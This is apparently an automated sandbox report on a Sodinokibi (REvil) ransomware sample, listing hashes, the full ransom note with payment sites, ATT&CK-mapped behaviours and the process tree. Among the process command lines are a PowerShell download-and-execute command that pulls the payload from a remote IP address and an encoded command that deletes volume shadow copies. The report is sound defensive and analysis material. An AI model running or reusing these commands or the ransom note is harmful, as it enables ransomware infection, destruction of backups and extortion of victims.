sodinokibi | 359a07b1df7b142cfd37af0d9cdbc28ace2ca7ffc9bd778fde48bfa501a69d79

General

Target

w7MPmXqT.bat
Size

196B
MD5

f27899524a4ad3e77954797a979ba0d8
SHA1

281223c4cf1338fa2f2ea469ea8e6f0246b5adb0
SHA256

359a07b1df7b142cfd37af0d9cdbc28ace2ca7ffc9bd778fde48bfa501a69d79
SHA512

2bf71ad0387cf7c0b48dca5dc95c403fa2bb7539e155505e8f740f5f991cbb4c266bf0bc790a16a4915f7c72bad871ac437f08c19ee918b2386086409a87e97d

Score

10^/10

persistence ransomware evasion spyware trojan sodinokibi

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/w7MPmXqT

Extracted

Path

C:\j9771lc704-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension j9771lc704. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/1C7CA4BC41FD620E 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/1C7CA4BC41FD620E Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 4AUe52Ewkn+O73eTN7WLmNd6rx4y845kIvc5FO6OrH4TqsHShWV+KBTIv9PrfJkQ giwF/ZgbRsBYSEQURfOI6tVipEhV4HR4TdY23Vhc6qxoiPp8jyf80JmIaj0+LsYl nJxJA+n5vscDPrGsMNC0o2aWUfpwHaVZ1U36HSsrPmbBMiyGRV8wutnaVq1QfA3t KMb4iVVpWXR2Jf3Br5dTba9eD63s3woMq4HIc0UUKryTqqh8UvEk+idzoDFqcBLh zt/sfx/DAUEylZst2XnrN8do5fMIyHXQiEFWtr96LBdEtHdP4h+uqipRezaVI8gt TwLeAw89gD/1BWuU2BYf+Rxo7wnK3Jq/YFhTeEWEOMT4+v9DPKXOcTaWSzp+MACa HWZUDFzBlVyQ3CmVWFvo0Zwh6qezXalhI03YFF18GIpi0lJLbaXRaIgln0ksBIlR Hc3ThgWqJg5Em5vC1/MMgEddMzhEAIFwaXddGirBQk39JUiPNkMTtyDJPbhTrm8V +a9Bpo0TmSXxysjEBFhk93ygcay0bhEGh8+rtEZrkl4Sgid3KEEL6h8nS4iVdhKo hbw5ubORAA9xZ5MskUCBNIwUFVkoO3zoQYk3i0ADHt4Gv82teccjzqxMbAGJdgLU hByy5gngNXWH3BJAT0Y/CRpBD7riqgqRFnIc/xfqHulJSYO2tOc5L3e4InYfqun0 R1nrIfo4/ShSd2OGUKKgvQY/JwzPbKGW1VvBaGTTejkxx+0GoJ77IzQ49brQa8sx K+gNSjM4thV8UJ8pNwqhvG93PZYkw2+8r9UOfN92mq+VDiGNA/WfuDx6kdIF/5+F eQ00QxcQmgxnctQZzknS27+1WB5zVyDb7qR/DCfKiCgl20aTseucSpKPGafvAP2Z K3eboWQNoSwT4Mv2+S+NIDdlz0fsdqtS6mP9TNCKC+EeYYsf0luiENRc/QNR00nB I9E1LW/jsptSg3MqHVRTo5CXaLmWbYvQgfpbXvxYWsZtwISTXAh9Xbxri6I/7etq F5BZGnmdd/1glBibtnJphG7Fes7omP0WMVJOWfxDb/yZxeE5/Ld/T5rgToN8++fN DyejxKyi+MkEPpZJnzFQXdT3LCUBG9oNrZH60qeV2+DyhUYS9/myQ2L9Yqiax3RT mhAO8s6SpHq6/oWANPxcVJdX0bbLyu3ZS+19snzzRtgtJA1xN+1XNhRiyVhlyTeW AeDIh+rKE9tsDTuCIoYbYeJ4Melbo19U0/hFeJ/b4I9wly0t3B8Owzlbel7MY4/8 g32T5+IMPMmp8bPM1H62xVyHiz6ZvYcVgY5LGDD+sBNuxRZtyLUkcw== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/1C7CA4BC41FD620E

http://decryptor.cc/1C7CA4BC41FD620E

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Discovering connected drives 3 TTPs 7 IoCs

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

powershell.execmd.exepowershell.exe

description	ioc	process
File opened (read-only)	\??\B:	powershell.exe
File opened (read-only)	\??\E:	powershell.exe
File opened (read-only)	\??\C:	cmd.exe
File opened (read-only)	\??\C:	powershell.exe
File opened (read-only)	\??\F:	powershell.exe
File opened (read-only)	\??\C:	powershell.exe
File opened (read-only)	\??\A:	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1872	powershell.exe
Token: SeDebugPrivilege	1872	powershell.exe
Token: SeDebugPrivilege	1976	powershell.exe
Token: SeBackupPrivilege	1408	vssvc.exe
Token: SeRestorePrivilege	1408	vssvc.exe
Token: SeAuditPrivilege	1408	vssvc.exe
Token: SeTakeOwnershipPrivilege	1872	powershell.exe

Blacklisted process makes network request 224 IoCs

Processes:

powershell.exe

flow	pid	process
3	1872	powershell.exe
5	1872	powershell.exe
7	1872	powershell.exe
9	1872	powershell.exe
11	1872	powershell.exe
12	1872	powershell.exe
14	1872	powershell.exe
16	1872	powershell.exe
18	1872	powershell.exe
20	1872	powershell.exe
22	1872	powershell.exe
23	1872	powershell.exe
25	1872	powershell.exe
26	1872	powershell.exe
28	1872	powershell.exe
30	1872	powershell.exe
31	1872	powershell.exe
33	1872	powershell.exe
34	1872	powershell.exe
36	1872	powershell.exe
37	1872	powershell.exe
40	1872	powershell.exe
41	1872	powershell.exe
43	1872	powershell.exe
44	1872	powershell.exe
46	1872	powershell.exe
47	1872	powershell.exe
49	1872	powershell.exe
50	1872	powershell.exe
52	1872	powershell.exe
55	1872	powershell.exe
56	1872	powershell.exe
58	1872	powershell.exe
59	1872	powershell.exe
61	1872	powershell.exe
63	1872	powershell.exe
65	1872	powershell.exe
67	1872	powershell.exe
68	1872	powershell.exe
70	1872	powershell.exe
71	1872	powershell.exe
74	1872	powershell.exe
76	1872	powershell.exe
77	1872	powershell.exe
79	1872	powershell.exe
81	1872	powershell.exe
83	1872	powershell.exe
84	1872	powershell.exe
86	1872	powershell.exe
88	1872	powershell.exe
90	1872	powershell.exe
91	1872	powershell.exe
93	1872	powershell.exe
95	1872	powershell.exe
96	1872	powershell.exe
98	1872	powershell.exe
100	1872	powershell.exe
102	1872	powershell.exe
104	1872	powershell.exe
106	1872	powershell.exe
108	1872	powershell.exe
110	1872	powershell.exe
112	1872	powershell.exe
114	1872	powershell.exe

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\8f8j85dxt.bmp"	powershell.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description ioc process

File opened for modification C:\Windows\System32\CatRoot2\dberr.txt powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe

Modifies system certificate store 2 TTPs 8 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b0b000000010000001600000047006c006f00620061006c005300690067006e0000005300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b06010505080202200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b1900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd90b000000010000001200000044006900670069004300650072007400000014000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd155090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703082000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4\Blob = 04000000010000001000000091de0625abdafd32170cbb25172a84670f00000001000000140000005d82adb90d5dd3c7e3524f56f787ec537261877619000000010000001000000063664b080559a094d10f0a3c5f4f62900300000001000000140000002796bae63f1801e277261ba0d77770028f20eee41d000000010000001000000099949d2179811f6b30a8c99c4f6b4226140000000100000014000000d2c4b0d291d44c1171b361cb3da1fedda86ad4e309000000010000002a000000302806082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030353000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005200000047006f00200044006100640064007900200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000020000000010000000404000030820400308202e8a003020102020100300d06092a864886f70d01010505003063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137303632305a170d3334303632393137303632305a3063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100de9dd7ea571849a15bebd75f4886eabeddffe4ef671cf46568b35771a05e77bbed9b49e970803d561863086fdaf2ccd03f7f0254225410d8b281d4c0753d4b7fc777c33e78ab1a03b5206b2f6a2bb1c5887ec4bb1eb0c1d845276faa3758f78726d7d82df6a917b71f72364ea6173f659892db2a6e5da2fe88e00bde7fe58d15e1ebcb3ad5e212a2132dd88eaf5f123da0080508b65ca565380445991ea3606074c541a572621b62c51f6f5f1a42be025165a8ae23186afc7803a94d7f80c3faab5afca140a4ca1916feb2c8ef5e730dee77bd9af67998bcb10767a2150ddda058c6447b0a3e62285fba41075358cf117e3874c5f8ffb569908f8474ea971baf020103a381c03081bd301d0603551d0e04160414d2c4b0d291d44c1171b361cb3da1fedda86ad4e330818d0603551d230481853081828014d2c4b0d291d44c1171b361cb3da1fedda86ad4e3a167a4653063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100324bf3b2ca3e91fc12c6a1078c8e77a03306145c901e18f708a63d0a19f98780116e69e4961730ff3491637238eecc1c01a31d9428a431f67ac454d7f6e5315803a2ccce62db944573b5bf45c924b5d58202ad2379698db8b64dcecf4cca3323e81c88aa9d8b416e16c920e5899ecd3bda70f77e992620145425ab6e7385e69b219d0a6c820ea8f8c20cfa101e6c96ef870dc40f618badee832b95f88e92847239eb20ea83ed83cd976e08bceb4e26b6732be4d3f64cfe2671e26111744aff571a870f75482ecf516917a002126195d5d140b2104ceec4ac1043a6a59e0ad595629a0dcf8882c5320ce42b9f45e60d9f289cb1b92a5a57ad370faf1d7fdbbd9f	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

1872 powershell.exe

pid	process
1872	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 1848 wrote to memory of 1872	1848	cmd.exe	powershell.exe
PID 1872 wrote to memory of 1976	1872	powershell.exe	powershell.exe
PID 1872 wrote to memory of 1976	1872	powershell.exe	powershell.exe
PID 1872 wrote to memory of 1976	1872	powershell.exe	powershell.exe
PID 1872 wrote to memory of 1976	1872	powershell.exe	powershell.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid process

1872 powershell.exe
1872 powershell.exe
1872 powershell.exe
1976 powershell.exe
1976 powershell.exe

pid	process
1872	powershell.exe
1872	powershell.exe
1872	powershell.exe
1976	powershell.exe
1976	powershell.exe

Drops file in Program Files directory 19 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\program files\SuspendGrant.m4a	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\j9771lc704-readme.txt	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\j9771lc704-readme.txt	powershell.exe
File created	\??\c:\program files (x86)\j9771lc704-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\ExpandProtect.ods	powershell.exe
File opened for modification	\??\c:\program files\GrantOpen.inf	powershell.exe
File opened for modification	\??\c:\program files\RestartSave.xltm	powershell.exe
File opened for modification	\??\c:\program files\SplitRestart.bmp	powershell.exe
File created	\??\c:\program files\j9771lc704-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\DisableCopy.M2T	powershell.exe
File opened for modification	\??\c:\program files\LockBackup.au	powershell.exe
File opened for modification	\??\c:\program files\MoveWait.tif	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\j9771lc704-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\SkipApprove.xhtml	powershell.exe
File opened for modification	\??\c:\program files\UnpublishSync.aifc	powershell.exe
File opened for modification	\??\c:\program files\ConvertToFormat.ini	powershell.exe
File opened for modification	\??\c:\program files\EditRepair.mpv2	powershell.exe
File opened for modification	\??\c:\program files\RestartUninstall.midi	powershell.exe
File opened for modification	\??\c:\program files\UnpublishConvertTo.rmi	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\w7MPmXqT.bat"
1⤵
- Discovering connected drives
- Suspicious use of WriteProcessMemory
PID:1848

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/w7MPmXqT');Invoke-SZOMRMAUGUIDZ;Start-Sleep -s 10000"
2⤵
- Discovering connected drives
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
- Sets desktop wallpaper using registry
- Drops file in System32 directory
- Modifies system certificate store
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
- Drops file in Program Files directory
PID:1872

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Discovering connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1976

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
- Modifies service
PID:1408

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Install Root Certificate

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_266260b1-506b-46ee-8ffd-f74ade426d58

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_47931ed0-1f3a-4727-b467-1abba254408f

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_787e939b-6ce7-4022-b0df-f2cadaf1211f

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7b368953-2fc5-4e6c-ac0c-4e9ca5ec1dea

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9adcef47-d90e-41e7-bb27-93604e256a20

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f66dfe3c-3c50-4c57-9265-ac0c7644a88d

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads